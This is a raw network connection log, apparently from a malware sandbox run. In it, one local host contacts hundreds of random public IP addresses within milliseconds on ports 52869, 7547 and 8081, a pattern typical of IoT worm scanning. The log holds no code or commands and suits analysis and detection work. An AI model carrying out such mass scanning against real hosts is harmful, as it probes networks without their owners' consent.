Apr 15, 2024 08:51:55.234956026 CEST	3310	52869	192.168.2.13	70.193.52.71
Apr 15, 2024 08:51:55.234956026 CEST	3310	52869	192.168.2.13	88.231.154.66
Apr 15, 2024 08:51:55.234956026 CEST	3310	52869	192.168.2.13	168.0.139.16
Apr 15, 2024 08:51:55.234956026 CEST	3310	52869	192.168.2.13	201.44.64.73
Apr 15, 2024 08:51:55.234956026 CEST	3310	52869	192.168.2.13	17.27.250.222
Apr 15, 2024 08:51:55.234956026 CEST	3310	52869	192.168.2.13	204.168.194.4
Apr 15, 2024 08:51:55.234971046 CEST	6126	7547	192.168.2.13	176.47.174.46
Apr 15, 2024 08:51:55.234971046 CEST	3310	52869	192.168.2.13	143.107.165.182
Apr 15, 2024 08:51:55.234975100 CEST	3310	52869	192.168.2.13	66.129.32.1
Apr 15, 2024 08:51:55.234975100 CEST	3310	52869	192.168.2.13	153.143.134.90
Apr 15, 2024 08:51:55.234977007 CEST	3310	52869	192.168.2.13	75.209.199.47
Apr 15, 2024 08:51:55.234977007 CEST	3310	52869	192.168.2.13	169.75.102.153
Apr 15, 2024 08:51:55.235001087 CEST	6126	7547	192.168.2.13	220.107.96.83
Apr 15, 2024 08:51:55.235002041 CEST	6126	7547	192.168.2.13	123.108.180.34
Apr 15, 2024 08:51:55.235002041 CEST	6126	7547	192.168.2.13	185.178.76.95
Apr 15, 2024 08:51:55.235002041 CEST	3310	52869	192.168.2.13	144.46.44.145
Apr 15, 2024 08:51:55.235002041 CEST	6126	7547	192.168.2.13	82.218.168.14
Apr 15, 2024 08:51:55.235003948 CEST	3310	52869	192.168.2.13	218.228.145.27
Apr 15, 2024 08:51:55.235002041 CEST	3310	52869	192.168.2.13	100.235.159.226
Apr 15, 2024 08:51:55.235003948 CEST	3310	52869	192.168.2.13	98.28.248.85
Apr 15, 2024 08:51:55.235006094 CEST	3310	52869	192.168.2.13	181.73.91.56
Apr 15, 2024 08:51:55.235006094 CEST	6126	7547	192.168.2.13	219.131.209.239
Apr 15, 2024 08:51:55.235007048 CEST	6126	7547	192.168.2.13	2.50.118.30
Apr 15, 2024 08:51:55.235007048 CEST	3310	52869	192.168.2.13	78.109.214.31
Apr 15, 2024 08:51:55.235007048 CEST	3310	52869	192.168.2.13	25.240.129.57
Apr 15, 2024 08:51:55.235011101 CEST	3310	52869	192.168.2.13	34.184.188.23
Apr 15, 2024 08:51:55.235011101 CEST	3310	52869	192.168.2.13	69.73.140.72
Apr 15, 2024 08:51:55.235011101 CEST	3310	52869	192.168.2.13	158.135.201.235
Apr 15, 2024 08:51:55.235011101 CEST	3310	52869	192.168.2.13	44.153.51.17
Apr 15, 2024 08:51:55.235011101 CEST	3310	52869	192.168.2.13	132.19.210.9
Apr 15, 2024 08:51:55.235013962 CEST	3310	52869	192.168.2.13	110.154.153.135
Apr 15, 2024 08:51:55.235017061 CEST	3310	52869	192.168.2.13	189.1.58.221
Apr 15, 2024 08:51:55.235017061 CEST	3310	52869	192.168.2.13	67.106.40.82
Apr 15, 2024 08:51:55.235018015 CEST	6126	7547	192.168.2.13	69.47.147.187
Apr 15, 2024 08:51:55.235018015 CEST	3310	52869	192.168.2.13	128.235.199.141
Apr 15, 2024 08:51:55.235018015 CEST	3310	52869	192.168.2.13	40.66.24.232
Apr 15, 2024 08:51:55.235018015 CEST	3310	52869	192.168.2.13	126.147.234.53
Apr 15, 2024 08:51:55.235018015 CEST	3310	52869	192.168.2.13	181.120.158.217
Apr 15, 2024 08:51:55.235018015 CEST	3310	52869	192.168.2.13	48.221.234.240
Apr 15, 2024 08:51:55.235018969 CEST	3310	52869	192.168.2.13	89.105.83.189
Apr 15, 2024 08:51:55.235018969 CEST	6126	7547	192.168.2.13	195.49.102.195
Apr 15, 2024 08:51:55.235025883 CEST	3310	52869	192.168.2.13	120.54.23.185
Apr 15, 2024 08:51:55.235027075 CEST	3310	52869	192.168.2.13	131.10.7.240
Apr 15, 2024 08:51:55.235027075 CEST	3310	52869	192.168.2.13	8.94.197.33
Apr 15, 2024 08:51:55.235030890 CEST	3310	52869	192.168.2.13	164.169.142.98
Apr 15, 2024 08:51:55.235038042 CEST	3310	52869	192.168.2.13	9.123.182.182
Apr 15, 2024 08:51:55.235043049 CEST	6126	7547	192.168.2.13	148.36.108.76
Apr 15, 2024 08:51:55.235043049 CEST	3310	52869	192.168.2.13	73.50.128.144
Apr 15, 2024 08:51:55.235045910 CEST	3310	52869	192.168.2.13	18.41.139.51
Apr 15, 2024 08:51:55.235047102 CEST	3310	52869	192.168.2.13	200.109.89.47
Apr 15, 2024 08:51:55.235045910 CEST	6126	7547	192.168.2.13	63.43.232.0
Apr 15, 2024 08:51:55.235047102 CEST	6126	7547	192.168.2.13	192.38.184.63
Apr 15, 2024 08:51:55.235047102 CEST	3310	52869	192.168.2.13	222.195.253.193
Apr 15, 2024 08:51:55.235047102 CEST	6126	7547	192.168.2.13	190.32.89.200
Apr 15, 2024 08:51:55.235059977 CEST	3310	52869	192.168.2.13	4.164.114.108
Apr 15, 2024 08:51:55.235059977 CEST	3310	52869	192.168.2.13	153.248.97.3
Apr 15, 2024 08:51:55.235059977 CEST	3310	52869	192.168.2.13	19.52.166.24
Apr 15, 2024 08:51:55.235059977 CEST	3310	52869	192.168.2.13	128.2.58.19
Apr 15, 2024 08:51:55.235059977 CEST	6126	7547	192.168.2.13	9.60.224.116
Apr 15, 2024 08:51:55.235059977 CEST	3310	52869	192.168.2.13	212.230.45.212
Apr 15, 2024 08:51:55.235059977 CEST	3310	52869	192.168.2.13	18.125.114.84
Apr 15, 2024 08:51:55.235063076 CEST	3310	52869	192.168.2.13	203.142.50.237
Apr 15, 2024 08:51:55.235066891 CEST	3310	52869	192.168.2.13	128.67.112.183
Apr 15, 2024 08:51:55.235066891 CEST	3310	52869	192.168.2.13	156.147.59.193
Apr 15, 2024 08:51:55.235066891 CEST	6126	7547	192.168.2.13	110.84.138.205
Apr 15, 2024 08:51:55.235070944 CEST	6126	7547	192.168.2.13	216.132.154.15
Apr 15, 2024 08:51:55.235070944 CEST	3310	52869	192.168.2.13	217.10.103.14
Apr 15, 2024 08:51:55.235070944 CEST	3310	52869	192.168.2.13	219.117.158.72
Apr 15, 2024 08:51:55.235074997 CEST	3310	52869	192.168.2.13	93.100.221.86
Apr 15, 2024 08:51:55.235074997 CEST	6126	7547	192.168.2.13	50.95.87.32
Apr 15, 2024 08:51:55.235078096 CEST	3310	52869	192.168.2.13	126.227.141.190
Apr 15, 2024 08:51:55.235078096 CEST	3310	52869	192.168.2.13	182.82.90.215
Apr 15, 2024 08:51:55.235083103 CEST	6126	7547	192.168.2.13	31.42.91.26
Apr 15, 2024 08:51:55.235083103 CEST	6126	7547	192.168.2.13	2.139.201.53
Apr 15, 2024 08:51:55.235083103 CEST	3310	52869	192.168.2.13	78.104.29.178
Apr 15, 2024 08:51:55.235095978 CEST	3310	52869	192.168.2.13	207.184.91.131
Apr 15, 2024 08:51:55.235095978 CEST	3310	52869	192.168.2.13	74.244.114.189
Apr 15, 2024 08:51:55.235100031 CEST	3310	52869	192.168.2.13	58.125.39.102
Apr 15, 2024 08:51:55.235105991 CEST	3310	52869	192.168.2.13	197.2.55.185
Apr 15, 2024 08:51:55.235105991 CEST	3310	52869	192.168.2.13	158.91.205.199
Apr 15, 2024 08:51:55.235111952 CEST	6126	7547	192.168.2.13	74.222.75.12
Apr 15, 2024 08:51:55.235111952 CEST	3310	52869	192.168.2.13	160.17.158.127
Apr 15, 2024 08:51:55.235111952 CEST	6126	7547	192.168.2.13	116.9.23.144
Apr 15, 2024 08:51:55.235116005 CEST	6126	7547	192.168.2.13	164.185.184.87
Apr 15, 2024 08:51:55.235116005 CEST	6126	7547	192.168.2.13	113.204.211.77
Apr 15, 2024 08:51:55.235126972 CEST	3310	52869	192.168.2.13	178.91.42.45
Apr 15, 2024 08:51:55.235126972 CEST	3310	52869	192.168.2.13	124.212.184.133
Apr 15, 2024 08:51:55.235126972 CEST	3310	52869	192.168.2.13	179.241.44.189
Apr 15, 2024 08:51:55.235126972 CEST	3310	52869	192.168.2.13	124.130.99.4
Apr 15, 2024 08:51:55.235129118 CEST	3310	52869	192.168.2.13	13.105.205.13
Apr 15, 2024 08:51:55.235129118 CEST	6126	7547	192.168.2.13	69.66.244.210
Apr 15, 2024 08:51:55.235129118 CEST	3310	52869	192.168.2.13	222.89.151.195
Apr 15, 2024 08:51:55.235129118 CEST	6126	7547	192.168.2.13	164.88.112.137
Apr 15, 2024 08:51:55.235130072 CEST	3310	52869	192.168.2.13	64.69.211.215
Apr 15, 2024 08:51:55.235133886 CEST	3310	52869	192.168.2.13	8.119.214.96
Apr 15, 2024 08:51:55.235130072 CEST	6126	7547	192.168.2.13	142.99.56.1
Apr 15, 2024 08:51:55.235129118 CEST	6126	7547	192.168.2.13	75.2.253.86
Apr 15, 2024 08:51:55.235130072 CEST	3310	52869	192.168.2.13	19.220.84.76
Apr 15, 2024 08:51:55.235136032 CEST	3310	52869	192.168.2.13	134.93.242.159
Apr 15, 2024 08:51:55.235145092 CEST	3310	52869	192.168.2.13	137.22.132.84
Apr 15, 2024 08:51:55.235145092 CEST	3310	52869	192.168.2.13	76.10.203.218
Apr 15, 2024 08:51:55.235141993 CEST	3310	52869	192.168.2.13	177.78.122.42
Apr 15, 2024 08:51:55.235141993 CEST	6126	7547	192.168.2.13	135.254.179.205
Apr 15, 2024 08:51:55.235141993 CEST	3310	52869	192.168.2.13	4.235.237.55
Apr 15, 2024 08:51:55.235148907 CEST	3310	52869	192.168.2.13	152.55.57.188
Apr 15, 2024 08:51:55.235148907 CEST	6126	7547	192.168.2.13	95.143.148.48
Apr 15, 2024 08:51:55.235156059 CEST	3310	52869	192.168.2.13	74.183.235.16
Apr 15, 2024 08:51:55.235157013 CEST	3310	52869	192.168.2.13	115.45.99.208
Apr 15, 2024 08:51:55.235157013 CEST	3310	52869	192.168.2.13	97.76.43.49
Apr 15, 2024 08:51:55.235157013 CEST	3310	52869	192.168.2.13	205.61.238.150
Apr 15, 2024 08:51:55.235167027 CEST	3310	52869	192.168.2.13	182.4.19.212
Apr 15, 2024 08:51:55.235172033 CEST	6126	7547	192.168.2.13	74.112.27.8
Apr 15, 2024 08:51:55.235172033 CEST	6126	7547	192.168.2.13	124.143.206.168
Apr 15, 2024 08:51:55.235172033 CEST	3310	52869	192.168.2.13	223.85.88.32
Apr 15, 2024 08:51:55.235172033 CEST	6126	7547	192.168.2.13	122.192.58.68
Apr 15, 2024 08:51:55.235177994 CEST	3310	52869	192.168.2.13	213.51.153.148
Apr 15, 2024 08:51:55.235177994 CEST	3310	52869	192.168.2.13	220.158.189.253
Apr 15, 2024 08:51:55.235179901 CEST	3310	52869	192.168.2.13	4.56.163.16
Apr 15, 2024 08:51:55.235182047 CEST	3310	52869	192.168.2.13	96.26.133.227
Apr 15, 2024 08:51:55.235182047 CEST	3310	52869	192.168.2.13	34.187.233.244
Apr 15, 2024 08:51:55.235182047 CEST	3310	52869	192.168.2.13	86.12.247.20
Apr 15, 2024 08:51:55.235182047 CEST	3310	52869	192.168.2.13	166.202.154.30
Apr 15, 2024 08:51:55.235183954 CEST	3310	52869	192.168.2.13	104.9.122.239
Apr 15, 2024 08:51:55.235183954 CEST	3310	52869	192.168.2.13	95.31.67.219
Apr 15, 2024 08:51:55.235183954 CEST	3310	52869	192.168.2.13	161.95.4.238
Apr 15, 2024 08:51:55.235186100 CEST	3310	52869	192.168.2.13	50.127.102.108
Apr 15, 2024 08:51:55.235186100 CEST	3310	52869	192.168.2.13	196.230.214.221
Apr 15, 2024 08:51:55.235186100 CEST	3310	52869	192.168.2.13	151.245.71.84
Apr 15, 2024 08:51:55.235186100 CEST	6126	7547	192.168.2.13	223.67.215.95
Apr 15, 2024 08:51:55.235193014 CEST	6126	7547	192.168.2.13	212.218.45.3
Apr 15, 2024 08:51:55.235193014 CEST	6126	7547	192.168.2.13	82.207.118.240
Apr 15, 2024 08:51:55.235193968 CEST	3310	52869	192.168.2.13	104.155.32.215
Apr 15, 2024 08:51:55.235193014 CEST	3310	52869	192.168.2.13	216.173.216.99
Apr 15, 2024 08:51:55.235193014 CEST	6126	7547	192.168.2.13	87.220.71.217
Apr 15, 2024 08:51:55.235193014 CEST	3310	52869	192.168.2.13	174.24.8.183
Apr 15, 2024 08:51:55.235193014 CEST	6126	7547	192.168.2.13	34.52.143.128
Apr 15, 2024 08:51:55.235193014 CEST	3310	52869	192.168.2.13	79.74.131.50
Apr 15, 2024 08:51:55.235198021 CEST	6126	7547	192.168.2.13	41.2.239.75
Apr 15, 2024 08:51:55.235198021 CEST	3310	52869	192.168.2.13	93.116.54.10
Apr 15, 2024 08:51:55.235219002 CEST	3310	52869	192.168.2.13	62.211.138.107
Apr 15, 2024 08:51:55.235225916 CEST	3310	52869	192.168.2.13	204.93.45.240
Apr 15, 2024 08:51:55.235225916 CEST	3310	52869	192.168.2.13	192.90.199.225
Apr 15, 2024 08:51:55.235225916 CEST	6126	7547	192.168.2.13	41.162.190.106
Apr 15, 2024 08:51:55.235225916 CEST	3310	52869	192.168.2.13	32.45.221.205
Apr 15, 2024 08:51:55.235225916 CEST	3310	52869	192.168.2.13	163.8.215.91
Apr 15, 2024 08:51:55.235235929 CEST	3310	52869	192.168.2.13	216.19.51.158
Apr 15, 2024 08:51:55.235235929 CEST	3310	52869	192.168.2.13	95.72.27.80
Apr 15, 2024 08:51:55.235235929 CEST	3310	52869	192.168.2.13	97.51.107.194
Apr 15, 2024 08:51:55.235235929 CEST	3310	52869	192.168.2.13	27.210.82.139
Apr 15, 2024 08:51:55.235235929 CEST	3310	52869	192.168.2.13	128.242.196.59
Apr 15, 2024 08:51:55.235235929 CEST	3310	52869	192.168.2.13	60.167.120.62
Apr 15, 2024 08:51:55.235239029 CEST	6126	7547	192.168.2.13	217.135.8.232
Apr 15, 2024 08:51:55.235239983 CEST	3310	52869	192.168.2.13	87.41.74.84
Apr 15, 2024 08:51:55.235239983 CEST	3310	52869	192.168.2.13	193.109.231.98
Apr 15, 2024 08:51:55.235239983 CEST	3310	52869	192.168.2.13	81.84.56.69
Apr 15, 2024 08:51:55.235251904 CEST	3310	52869	192.168.2.13	148.92.206.172
Apr 15, 2024 08:51:55.235251904 CEST	6126	7547	192.168.2.13	98.208.231.223
Apr 15, 2024 08:51:55.235253096 CEST	3310	52869	192.168.2.13	84.48.54.2
Apr 15, 2024 08:51:55.235251904 CEST	3310	52869	192.168.2.13	192.48.205.110
Apr 15, 2024 08:51:55.235253096 CEST	3310	52869	192.168.2.13	218.163.186.89
Apr 15, 2024 08:51:55.235254049 CEST	3310	52869	192.168.2.13	8.13.2.45
Apr 15, 2024 08:51:55.235253096 CEST	3310	52869	192.168.2.13	19.142.98.9
Apr 15, 2024 08:51:55.235254049 CEST	6126	7547	192.168.2.13	199.213.155.95
Apr 15, 2024 08:51:55.235251904 CEST	3310	52869	192.168.2.13	136.101.52.15
Apr 15, 2024 08:51:55.235251904 CEST	3310	52869	192.168.2.13	91.107.200.161
Apr 15, 2024 08:51:55.235261917 CEST	3310	52869	192.168.2.13	122.45.9.28
Apr 15, 2024 08:51:55.235261917 CEST	3310	52869	192.168.2.13	86.204.65.102
Apr 15, 2024 08:51:55.235261917 CEST	3310	52869	192.168.2.13	43.36.177.23
Apr 15, 2024 08:51:55.235261917 CEST	3310	52869	192.168.2.13	58.103.77.237
Apr 15, 2024 08:51:55.235261917 CEST	3310	52869	192.168.2.13	132.52.127.6
Apr 15, 2024 08:51:55.235269070 CEST	3310	52869	192.168.2.13	104.180.120.177
Apr 15, 2024 08:51:55.235269070 CEST	3310	52869	192.168.2.13	204.210.221.145
Apr 15, 2024 08:51:55.235295057 CEST	3310	52869	192.168.2.13	171.116.240.126
Apr 15, 2024 08:51:55.235295057 CEST	3310	52869	192.168.2.13	175.107.97.106
Apr 15, 2024 08:51:55.235296011 CEST	3310	52869	192.168.2.13	42.152.130.180
Apr 15, 2024 08:51:55.235296011 CEST	6126	7547	192.168.2.13	178.180.24.6
Apr 15, 2024 08:51:55.235296011 CEST	3310	52869	192.168.2.13	207.85.123.133
Apr 15, 2024 08:51:55.235296011 CEST	3310	52869	192.168.2.13	72.46.215.110
Apr 15, 2024 08:51:55.235301018 CEST	6126	7547	192.168.2.13	5.101.89.127
Apr 15, 2024 08:51:55.235312939 CEST	6126	7547	192.168.2.13	112.127.8.127
Apr 15, 2024 08:51:55.235312939 CEST	6126	7547	192.168.2.13	2.221.79.51
Apr 15, 2024 08:51:55.235313892 CEST	6126	7547	192.168.2.13	211.7.193.64
Apr 15, 2024 08:51:55.235312939 CEST	6126	7547	192.168.2.13	80.210.58.148
Apr 15, 2024 08:51:55.235313892 CEST	6126	7547	192.168.2.13	62.71.144.236
Apr 15, 2024 08:51:55.235317945 CEST	6126	7547	192.168.2.13	119.50.131.185
Apr 15, 2024 08:51:55.235317945 CEST	6126	7547	192.168.2.13	119.107.16.158
Apr 15, 2024 08:51:55.235326052 CEST	6126	7547	192.168.2.13	202.169.0.125
Apr 15, 2024 08:51:55.235326052 CEST	6126	7547	192.168.2.13	27.254.123.134
Apr 15, 2024 08:51:55.235327959 CEST	6126	7547	192.168.2.13	5.207.39.212
Apr 15, 2024 08:51:55.235338926 CEST	6126	7547	192.168.2.13	44.116.242.187
Apr 15, 2024 08:51:55.235338926 CEST	6126	7547	192.168.2.13	111.94.247.119
Apr 15, 2024 08:51:55.235346079 CEST	6126	7547	192.168.2.13	203.117.104.248
Apr 15, 2024 08:51:55.235352039 CEST	6126	7547	192.168.2.13	113.62.124.43
Apr 15, 2024 08:51:55.235358000 CEST	6126	7547	192.168.2.13	144.114.142.124
Apr 15, 2024 08:51:55.235358953 CEST	6126	7547	192.168.2.13	99.148.232.174
Apr 15, 2024 08:51:55.235369921 CEST	6126	7547	192.168.2.13	81.61.144.19
Apr 15, 2024 08:51:55.235371113 CEST	6126	7547	192.168.2.13	132.124.70.148
Apr 15, 2024 08:51:55.235372066 CEST	6126	7547	192.168.2.13	77.75.172.52
Apr 15, 2024 08:51:55.235372066 CEST	6126	7547	192.168.2.13	147.21.39.40
Apr 15, 2024 08:51:55.235373974 CEST	6126	7547	192.168.2.13	65.200.241.77
Apr 15, 2024 08:51:55.235373974 CEST	6126	7547	192.168.2.13	139.127.65.223
Apr 15, 2024 08:51:55.235374928 CEST	4846	8081	192.168.2.13	117.31.135.180
Apr 15, 2024 08:51:55.235373974 CEST	4846	8081	192.168.2.13	35.85.59.192
Apr 15, 2024 08:51:55.235374928 CEST	4846	8081	192.168.2.13	31.44.106.248
Apr 15, 2024 08:51:55.235374928 CEST	4846	8081	192.168.2.13	149.219.137.161
Apr 15, 2024 08:51:55.235374928 CEST	6126	7547	192.168.2.13	122.23.14.126
Apr 15, 2024 08:51:55.235374928 CEST	4846	8081	192.168.2.13	221.79.18.39
Apr 15, 2024 08:51:55.235383987 CEST	4846	8081	192.168.2.13	199.143.42.160
Apr 15, 2024 08:51:55.235384941 CEST	4846	8081	192.168.2.13	12.89.235.164
Apr 15, 2024 08:51:55.235384941 CEST	4846	8081	192.168.2.13	217.157.191.252
Apr 15, 2024 08:51:55.235384941 CEST	4846	8081	192.168.2.13	38.90.34.68
Apr 15, 2024 08:51:55.235392094 CEST	4846	8081	192.168.2.13	52.21.79.154
Apr 15, 2024 08:51:55.235402107 CEST	4846	8081	192.168.2.13	190.84.35.196
Apr 15, 2024 08:51:55.235402107 CEST	4846	8081	192.168.2.13	167.101.231.205
Apr 15, 2024 08:51:55.235403061 CEST	6126	7547	192.168.2.13	123.123.53.174
Apr 15, 2024 08:51:55.235403061 CEST	4846	8081	192.168.2.13	73.241.122.254
Apr 15, 2024 08:51:55.235407114 CEST	4846	8081	192.168.2.13	166.106.97.30
Apr 15, 2024 08:51:55.235403061 CEST	4846	8081	192.168.2.13	140.156.92.36
Apr 15, 2024 08:51:55.235404015 CEST	4846	8081	192.168.2.13	118.96.172.70
Apr 15, 2024 08:51:55.235407114 CEST	6126	7547	192.168.2.13	1.233.219.6
Apr 15, 2024 08:51:55.235404015 CEST	4846	8081	192.168.2.13	95.135.63.16
Apr 15, 2024 08:51:55.235408068 CEST	4846	8081	192.168.2.13	128.92.60.222
Apr 15, 2024 08:51:55.235411882 CEST	4846	8081	192.168.2.13	36.98.30.84
Apr 15, 2024 08:51:55.235408068 CEST	4846	8081	192.168.2.13	17.143.47.227
Apr 15, 2024 08:51:55.235413074 CEST	4846	8081	192.168.2.13	185.75.195.144
Apr 15, 2024 08:51:55.235408068 CEST	4846	8081	192.168.2.13	169.153.201.213
Apr 15, 2024 08:51:55.235413074 CEST	4846	8081	192.168.2.13	151.162.167.179
Apr 15, 2024 08:51:55.235408068 CEST	6126	7547	192.168.2.13	142.187.171.216
Apr 15, 2024 08:51:55.235413074 CEST	4846	8081	192.168.2.13	106.143.160.177
Apr 15, 2024 08:51:55.235414028 CEST	6126	7547	192.168.2.13	182.103.81.249
Apr 15, 2024 08:51:55.235413074 CEST	6126	7547	192.168.2.13	205.121.62.41
Apr 15, 2024 08:51:55.235414028 CEST	6126	7547	192.168.2.13	125.122.231.82
Apr 15, 2024 08:51:55.235424995 CEST	6126	7547	192.168.2.13	66.208.98.198
Apr 15, 2024 08:51:55.235424995 CEST	6126	7547	192.168.2.13	223.3.127.139
Apr 15, 2024 08:51:55.235425949 CEST	4846	8081	192.168.2.13	52.207.43.243
Apr 15, 2024 08:51:55.235425949 CEST	4846	8081	192.168.2.13	150.237.112.242
Apr 15, 2024 08:51:55.235426903 CEST	6126	7547	192.168.2.13	57.121.227.71
Apr 15, 2024 08:51:55.235425949 CEST	4846	8081	192.168.2.13	71.41.175.151
Apr 15, 2024 08:51:55.235425949 CEST	4846	8081	192.168.2.13	116.162.167.132
Apr 15, 2024 08:51:55.235438108 CEST	4846	8081	192.168.2.13	131.95.107.67
Apr 15, 2024 08:51:55.235438108 CEST	4846	8081	192.168.2.13	143.99.193.168
Apr 15, 2024 08:51:55.235445976 CEST	4846	8081	192.168.2.13	94.56.239.238
Apr 15, 2024 08:51:55.235445976 CEST	6126	7547	192.168.2.13	70.15.125.28
Apr 15, 2024 08:51:55.235446930 CEST	6126	7547	192.168.2.13	45.38.125.29
Apr 15, 2024 08:51:55.235445976 CEST	4846	8081	192.168.2.13	37.120.202.10
Apr 15, 2024 08:51:55.235446930 CEST	4846	8081	192.168.2.13	161.152.152.95
Apr 15, 2024 08:51:55.235445976 CEST	4846	8081	192.168.2.13	205.134.12.236
Apr 15, 2024 08:51:55.235446930 CEST	4846	8081	192.168.2.13	59.80.185.116
Apr 15, 2024 08:51:55.235445976 CEST	6126	7547	192.168.2.13	194.83.192.109
Apr 15, 2024 08:51:55.235446930 CEST	6126	7547	192.168.2.13	96.157.188.133
Apr 15, 2024 08:51:55.235445976 CEST	6126	7547	192.168.2.13	211.249.208.89
Apr 15, 2024 08:51:55.235454082 CEST	4846	8081	192.168.2.13	97.119.117.23
Apr 15, 2024 08:51:55.235455036 CEST	4846	8081	192.168.2.13	136.54.57.129
Apr 15, 2024 08:51:55.235460043 CEST	6126	7547	192.168.2.13	167.165.236.0
Apr 15, 2024 08:51:55.235460043 CEST	4846	8081	192.168.2.13	199.115.61.77
Apr 15, 2024 08:51:55.235460043 CEST	4846	8081	192.168.2.13	172.5.254.218
Apr 15, 2024 08:51:55.235461950 CEST	6126	7547	192.168.2.13	1.236.247.98
Apr 15, 2024 08:51:55.235474110 CEST	4846	8081	192.168.2.13	147.223.153.62
Apr 15, 2024 08:51:55.235474110 CEST	4846	8081	192.168.2.13	18.13.155.195
Apr 15, 2024 08:51:55.235474110 CEST	6126	7547	192.168.2.13	121.246.11.190
Apr 15, 2024 08:51:55.235474110 CEST	4846	8081	192.168.2.13	194.148.0.244
Apr 15, 2024 08:51:55.235474110 CEST	6126	7547	192.168.2.13	9.103.53.249
Apr 15, 2024 08:51:55.235483885 CEST	4846	8081	192.168.2.13	144.173.194.187
Apr 15, 2024 08:51:55.235483885 CEST	6126	7547	192.168.2.13	211.15.101.47
Apr 15, 2024 08:51:55.235485077 CEST	6126	7547	192.168.2.13	97.54.237.217
Apr 15, 2024 08:51:55.235487938 CEST	6126	7547	192.168.2.13	173.25.7.142
Apr 15, 2024 08:51:55.235487938 CEST	4846	8081	192.168.2.13	202.245.199.125
Apr 15, 2024 08:51:55.235487938 CEST	6126	7547	192.168.2.13	165.241.204.170
Apr 15, 2024 08:51:55.235496044 CEST	4846	8081	192.168.2.13	1.98.104.238
Apr 15, 2024 08:51:55.235496998 CEST	6126	7547	192.168.2.13	1.225.11.119
Apr 15, 2024 08:51:55.235496044 CEST	4846	8081	192.168.2.13	121.50.133.88
Apr 15, 2024 08:51:55.235496998 CEST	4846	8081	192.168.2.13	57.42.255.101
Apr 15, 2024 08:51:55.235496998 CEST	4846	8081	192.168.2.13	162.55.170.96
Apr 15, 2024 08:51:55.235498905 CEST	4846	8081	192.168.2.13	81.66.178.169
Apr 15, 2024 08:51:55.235496998 CEST	4846	8081	192.168.2.13	153.86.117.138
Apr 15, 2024 08:51:55.235498905 CEST	4846	8081	192.168.2.13	154.84.255.19
Apr 15, 2024 08:51:55.235498905 CEST	4846	8081	192.168.2.13	145.211.168.6
Apr 15, 2024 08:51:55.235498905 CEST	4846	8081	192.168.2.13	198.224.37.166
Apr 15, 2024 08:51:55.235498905 CEST	6126	7547	192.168.2.13	2.215.12.53
Apr 15, 2024 08:51:55.235507965 CEST	6126	7547	192.168.2.13	166.240.188.111
Apr 15, 2024 08:51:55.235510111 CEST	6126	7547	192.168.2.13	221.30.248.155
Apr 15, 2024 08:51:55.235510111 CEST	4846	8081	192.168.2.13	145.84.243.46
Apr 15, 2024 08:51:55.235510111 CEST	6126	7547	192.168.2.13	211.10.163.207
Apr 15, 2024 08:51:55.235516071 CEST	4846	8081	192.168.2.13	173.208.36.188
Apr 15, 2024 08:51:55.235523939 CEST	6126	7547	192.168.2.13	197.105.233.184
Apr 15, 2024 08:51:55.235523939 CEST	6126	7547	192.168.2.13	116.208.11.155
Apr 15, 2024 08:51:55.235523939 CEST	4846	8081	192.168.2.13	199.179.90.34
Apr 15, 2024 08:51:55.235523939 CEST	4846	8081	192.168.2.13	110.58.104.243
Apr 15, 2024 08:51:55.235523939 CEST	6126	7547	192.168.2.13	200.216.89.168
Apr 15, 2024 08:51:55.235527039 CEST	4846	8081	192.168.2.13	72.78.138.132
Apr 15, 2024 08:51:55.235523939 CEST	4846	8081	192.168.2.13	208.72.38.24
Apr 15, 2024 08:51:55.235523939 CEST	4846	8081	192.168.2.13	148.159.203.15
Apr 15, 2024 08:51:55.235527039 CEST	4846	8081	192.168.2.13	175.246.59.131
Apr 15, 2024 08:51:55.235527992 CEST	4846	8081	192.168.2.13	138.22.154.189
Apr 15, 2024 08:51:55.235548973 CEST	4846	8081	192.168.2.13	176.242.58.163
Apr 15, 2024 08:51:55.235548973 CEST	4846	8081	192.168.2.13	97.113.205.177
Apr 15, 2024 08:51:55.235548973 CEST	4846	8081	192.168.2.13	207.188.247.170
Apr 15, 2024 08:51:55.235548973 CEST	6126	7547	192.168.2.13	206.134.80.114
Apr 15, 2024 08:51:55.235551119 CEST	6126	7547	192.168.2.13	89.120.158.140
Apr 15, 2024 08:51:55.235551119 CEST	6126	7547	192.168.2.13	158.46.99.175
Apr 15, 2024 08:51:55.235551119 CEST	4846	8081	192.168.2.13	192.60.100.128
Apr 15, 2024 08:51:55.235551119 CEST	4846	8081	192.168.2.13	120.139.97.129
Apr 15, 2024 08:51:55.235551119 CEST	4846	8081	192.168.2.13	84.155.81.206
Apr 15, 2024 08:51:55.235551119 CEST	4846	8081	192.168.2.13	191.3.134.135
Apr 15, 2024 08:51:55.235551119 CEST	4846	8081	192.168.2.13	202.7.185.25
Apr 15, 2024 08:51:55.235551119 CEST	4846	8081	192.168.2.13	92.184.156.194
Apr 15, 2024 08:51:55.235559940 CEST	4846	8081	192.168.2.13	78.145.43.195
Apr 15, 2024 08:51:55.235563040 CEST	4846	8081	192.168.2.13	149.9.10.151
Apr 15, 2024 08:51:55.235563040 CEST	4846	8081	192.168.2.13	130.49.222.208
Apr 15, 2024 08:51:55.235567093 CEST	4846	8081	192.168.2.13	119.125.192.45
Apr 15, 2024 08:51:55.235567093 CEST	4846	8081	192.168.2.13	54.120.91.69
Apr 15, 2024 08:51:55.235568047 CEST	4846	8081	192.168.2.13	222.254.53.2
Apr 15, 2024 08:51:55.235570908 CEST	4846	8081	192.168.2.13	186.167.82.82
Apr 15, 2024 08:51:55.235570908 CEST	4846	8081	192.168.2.13	64.107.143.35
Apr 15, 2024 08:51:55.235570908 CEST	6126	7547	192.168.2.13	62.240.140.45
Apr 15, 2024 08:51:55.235570908 CEST	4846	8081	192.168.2.13	47.241.167.190
Apr 15, 2024 08:51:55.235572100 CEST	6126	7547	192.168.2.13	77.185.78.160
Apr 15, 2024 08:51:55.235572100 CEST	6126	7547	192.168.2.13	27.16.239.218
Apr 15, 2024 08:51:55.235570908 CEST	6126	7547	192.168.2.13	108.105.96.226
Apr 15, 2024 08:51:55.235573053 CEST	6126	7547	192.168.2.13	112.195.1.171
Apr 15, 2024 08:51:55.235570908 CEST	4846	8081	192.168.2.13	187.101.190.206
Apr 15, 2024 08:51:55.235594034 CEST	6126	7547	192.168.2.13	128.187.99.66
Apr 15, 2024 08:51:55.235594034 CEST	6126	7547	192.168.2.13	197.88.236.93
Apr 15, 2024 08:51:55.235594988 CEST	6126	7547	192.168.2.13	57.38.21.197
Apr 15, 2024 08:51:55.235595942 CEST	4846	8081	192.168.2.13	62.211.6.174
Apr 15, 2024 08:51:55.235595942 CEST	6126	7547	192.168.2.13	85.98.29.189
